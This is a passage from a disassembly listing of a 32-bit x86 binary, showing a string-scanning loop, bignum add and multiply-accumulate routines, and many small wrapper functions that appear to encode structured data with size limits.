eax xor ecx, 3 jz short loc_80662F3 cmp [edx+1], ch jz loc_806636E inc eax dec ecx jz short loc_80662F3 cmp [edx+2], ch jz loc_806636E inc eax jmp short loc_80662F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h, 8Dh, 0B4h, 26h, 4 dup(0) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80662F0: ; CODE XREF: sub_80662B0+A0j add eax, 10h loc_80662F3: ; CODE XREF: sub_80662B0+Ej ; sub_80662B0+1Cj ... mov ecx, [edx+eax] mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_806635B xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_806635B mov ecx, [edx+eax+4] mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8066358 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8066358 mov ecx, [edx+eax+8] mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8066355 xor edi, ecx or edi, 0FEFEFEFFh inc edi jnz short loc_8066355 mov ecx, [edx+eax+0Ch] mov edi, 0FEFEFEFFh add edi, ecx jnb short loc_8066352 xor edi, ecx or edi, 0FEFEFEFFh inc edi jz short loc_80662F0 loc_8066352: ; CODE XREF: sub_80662B0+95j add eax, 4 loc_8066355: ; CODE XREF: sub_80662B0+7Dj ; sub_80662B0+88j add eax, 4 loc_8066358: ; CODE XREF: sub_80662B0+65j ; sub_80662B0+70j add eax, 4 loc_806635B: ; CODE XREF: sub_80662B0+4Dj ; sub_80662B0+58j test cl, cl jz short loc_806636E inc eax test ch, ch jz short loc_806636E inc eax test ecx, 0FF0000h jz short loc_806636E inc eax loc_806636E: ; CODE XREF: sub_80662B0+12j ; sub_80662B0+21j ... mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_80662B0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 0Bh dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066380 proc near ; CODE XREF: sub_8058094+565p ; sub_805876C+18Fp ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov edx, [ebp+arg_8] mov ecx, [ebp+arg_C] mov eax, ecx shr ecx, 3 neg eax and eax, 7 jz short loc_80663C0 inc ecx shl eax, 2 sub edi, eax sub esi, eax sub edx, eax shr eax, 2 lea eax, (byte_80663B3+0Ah)[eax+eax*8] jmp eax ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 byte_80663B3 db 8Dh, 0B6h, 4 dup(0), 8Dh, 0B4h, 26h, 4 dup(0) ; DATA XREF: sub_8066380+2Ar ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80663C0: ; CODE XREF: sub_8066380+1Bj ; sub_8066380+8Fj mov eax, [esi] adc eax, [edx] mov [edi], eax mov eax, [esi+4] adc eax, [edx+4] mov [edi+4], eax mov eax, [esi+8] adc eax, [edx+8] mov [edi+8], eax mov eax, [esi+0Ch] adc eax, [edx+0Ch] mov [edi+0Ch], eax mov eax, [esi+10h] adc eax, [edx+10h] mov [edi+10h], eax mov eax, [esi+14h] adc eax, [edx+14h] mov [edi+14h], eax mov eax, [esi+18h] adc eax, [edx+18h] mov [edi+18h], eax mov eax, [esi+1Ch] adc eax, [edx+1Ch] mov [edi+1Ch], eax lea edi, [edi+20h] lea esi, [esi+20h] lea edx, [edx+20h] dec ecx jnz short loc_80663C0 sbb eax, eax neg eax lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_8066380 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066420 proc near ; CODE XREF: sub_805876C+1A5p ; sub_805876C+1FDp ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_C] push ebp lea edi, [edi+ecx*4] lea esi, [esi+ecx*4] neg ecx xor ebp, ebp db 8Dh,76h,0 ; lea esi, [esi+0] loc_8066440: ; CODE XREF: sub_8066420+33j mov eax, [esi+ecx*4] mul ebx add eax, ebp adc edx, 0 add [edi+ecx*4], eax adc edx, 0 mov ebp, edx inc ecx jnz short loc_8066440 mov eax, ebp pop ebp lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8066420 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066464 proc near ; CODE XREF: sub_8066514+Fp ; sub_8066564+Fp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] push 100h lea eax, [ebp+arg_4] push eax push edx call sub_8065304 test eax, eax jz short loc_8066488 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066488: ; CODE XREF: sub_8066464+17j xor eax, eax mov esp, ebp pop ebp retn sub_8066464 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066490 proc near ; CODE XREF: sub_8066514+20p ; sub_8066564+20p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 40h push eax push edx call sub_8065304 test eax, eax jz short loc_80664B0 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80664B0: ; CODE XREF: sub_8066490+14j xor eax, eax mov esp, ebp pop ebp retn sub_8066490 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80664B8 proc near ; CODE XREF: sub_8066628+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 100h push eax push edx call sub_8065304 test eax, eax jz short loc_80664DC mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80664DC: ; CODE XREF: sub_80664B8+17j xor eax, eax mov esp, ebp pop ebp retn sub_80664B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80664E4 proc near ; CODE XREF: sub_8066514+31p ; sub_80665A0+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push 400h lea eax, [edx+4] push eax push edx push ecx call sub_80651B8 test eax, eax jz short loc_806650C mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806650C: ; CODE XREF: sub_80664E4+1Bj xor eax, eax mov esp, ebp pop ebp retn sub_80664E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066514 proc near ; DATA XREF: sub_805D3A8+147o ; sub_805D814+DFo var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ebx] push eax push esi call sub_8066464 add esp, 8 test eax, eax jz short loc_8066558 lea eax, [ebx+4] push eax push esi call sub_8066490 add esp, 8 test eax, eax jz short loc_8066558 lea eax, [ebx+8] push eax push esi call sub_80664E4 test eax, eax jz short loc_8066558 mov eax, 1 jmp short loc_806655A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066558: ; CODE XREF: sub_8066514+19j ; sub_8066514+2Aj ... xor eax, eax loc_806655A: ; CODE XREF: sub_8066514+3Fj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066514 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066564 proc near ; DATA XREF: sub_805D638+BFo ; sub_805DA10+F7o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ebx] push eax push esi call sub_8066464 add esp, 8 test eax, eax jz short loc_8066594 lea eax, [ebx+4] push eax push esi call sub_8066490 test eax, eax jz short loc_8066594 mov eax, 1 jmp short loc_8066596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066594: ; CODE XREF: sub_8066564+19j ; sub_8066564+27j xor eax, eax loc_8066596: ; CODE XREF: sub_8066564+2Ej lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066564 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80665A0 proc near ; DATA XREF: sub_805D3A8+13Eo ; sub_805D3A8+231o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_80665D0 lea eax, [ebx+4] push eax push esi call sub_80664E4 test eax, eax jz short loc_80665D0 mov eax, 1 jmp short loc_80665D2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80665D0: ; CODE XREF: sub_80665A0+17j ; sub_80665A0+25j xor eax, eax loc_80665D2: ; CODE XREF: sub_80665A0+2Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80665A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80665DC proc near ; CODE XREF: sub_80666A0+29p ; DATA XREF: sub_805D638+B6o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_806661C lea eax, [ebx+0Ch] push eax push esi call sub_80664E4 add esp, 8 test eax, eax jz short loc_806661C lea eax, [ebx+4] push eax push esi call sub_80664E4 test eax, eax jz short loc_806661C mov eax, 1 jmp short loc_806661E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806661C: ; CODE XREF: sub_80665DC+17j ; sub_80665DC+28j ... xor eax, eax loc_806661E: ; CODE XREF: sub_80665DC+3Dj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80665DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066628 proc near ; DATA XREF: sub_805DC70+89o ; sub_805DC70+117o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8066658 lea eax, [ebx+4] push eax push esi call sub_80664B8 test eax, eax jz short loc_8066658 mov eax, 1 jmp short loc_806665A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066658: ; CODE XREF: sub_8066628+17j ; sub_8066628+25j xor eax, eax loc_806665A: ; CODE XREF: sub_8066628+2Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066628 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066664 proc near ; DATA XREF: sub_805DB54+89o ; sub_805DB54+B1o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8066694 lea eax, [ebx+4] push eax push esi call sub_8064F10 test eax, eax jz short loc_8066694 mov eax, 1 jmp short loc_8066696 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066694: ; CODE XREF: sub_8066664+17j ; sub_8066664+25j xor eax, eax loc_8066696: ; CODE XREF: sub_8066664+2Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066664 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80666A0 proc near ; CODE XREF: sub_80668AC+24p ; DATA XREF: sub_80668AC+34o ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8065098 add esp, 8 test eax, eax jz short loc_80666D2 mov eax, [ebx] test eax, eax jz short loc_80666D8 cmp eax, 1 jnz short loc_80666D2 lea eax, [ebx+4] push eax push esi call sub_80665DC test eax, eax jnz short loc_80666D8 loc_80666D2: ; CODE XREF: sub_80666A0+17j ; sub_80666A0+22j xor eax, eax jmp short loc_80666DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80666D8: ; CODE XREF: sub_80666A0+1Dj ; sub_80666A0+30j mov eax, 1 loc_80666DD: ; CODE XREF: sub_80666A0+34j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80666A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80666E8 proc near ; CODE XREF: sub_8066710+Dp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [ebp+arg_4] push eax push edx call sub_8066490 test eax, eax jz short loc_8066708 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066708: ; CODE XREF: sub_80666E8+12j xor eax, eax mov esp, ebp pop ebp retn sub_80666E8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066710 proc near ; DATA XREF: sub_8066710+19o ; sub_8066754+19o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_80666E8 add esp, 8 test eax, eax jz short loc_8066748 push offset sub_8066710 push 48h lea eax, [ebx+44h] push eax push esi call sub_8067248 test eax, eax jz short loc_8066748 mov eax, 1 jmp short loc_806674A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066748: ; CODE XREF: sub_8066710+17j ; sub_8066710+2Cj xor eax, eax loc_806674A: ; CODE XREF: sub_8066710+33j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066710 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066754 proc near ; DATA XREF: sub_805DDA8+6Do var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_806678C push offset sub_8066710 push 48h lea eax, [ebx+4] push eax push esi call sub_8067248 test eax, eax jz short loc_806678C mov eax, 1 jmp short loc_806678E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806678C: ; CODE XREF: sub_8066754+17j ; sub_8066754+2Cj xor eax, eax loc_806678E: ; CODE XREF: sub_8066754+33j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066754 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066798 proc near ; CODE XREF: sub_8066800+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_806510C test eax, eax jz short loc_80667B8 mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80667B8: ; CODE XREF: sub_8066798+12j xor eax, eax mov esp, ebp pop ebp retn sub_8066798 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80667C0 proc near ; CODE XREF: sub_8066800+39p ; sub_8066858+21p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push 4 push ebx push esi call sub_8065120 add esp, 0Ch test eax, eax jz short loc_80667F4 push 2 lea eax, [ebx+4] push eax push esi call sub_8065120 test eax, eax jz short loc_80667F4 mov eax, 1 jmp short loc_80667F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80667F4: ; CODE XREF: sub_80667C0+19j ; sub_80667C0+29j xor eax, eax loc_80667F6: ; CODE XREF: sub_80667C0+30j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80667C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066800 proc near ; DATA XREF: sub_805CE84+27Fo var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8066798 add esp, 8 test eax, eax jz short loc_8066842 mov eax, [ebx] cmp eax, 1 jz short loc_8066834 cmp eax, 2 jnz short loc_8066842 lea eax, [ebx+4] push eax push esi call sub_8064F10 jmp short loc_806683E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066834: ; CODE XREF: sub_8066800+1Ej lea eax, [ebx+4] push eax push esi call sub_80667C0 loc_806683E: ; CODE XREF: sub_8066800+2Fj test eax, eax jnz short loc_8066848 loc_8066842: ; CODE XREF: sub_8066800+17j ; sub_8066800+23j xor eax, eax jmp short loc_806684D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066848: ; CODE XREF: sub_8066800+40j mov eax, 1 loc_806684D: ; CODE XREF: sub_8066800+44j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066800 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066858 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8066464 add esp, 8 test eax, eax jz short loc_80668A0 lea eax, [ebx+104h] push eax push esi call sub_80667C0 add esp, 8 test eax, eax jz short loc_80668A0 lea eax, [ebx+10Ch] push eax push esi call sub_8064FBC test eax, eax jz short loc_80668A0 mov eax, 1 jmp short loc_80668A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80668A0: ; CODE XREF: sub_8066858+17j ; sub_8066858+2Bj ... xor eax, eax loc_80668A2: ; CODE XREF: sub_8066858+43j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8066858 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80668AC proc near ; DATA XREF: sub_805DA10+EEo ; sub_805DA10+110o var_2C = byte ptr -2Ch var_20 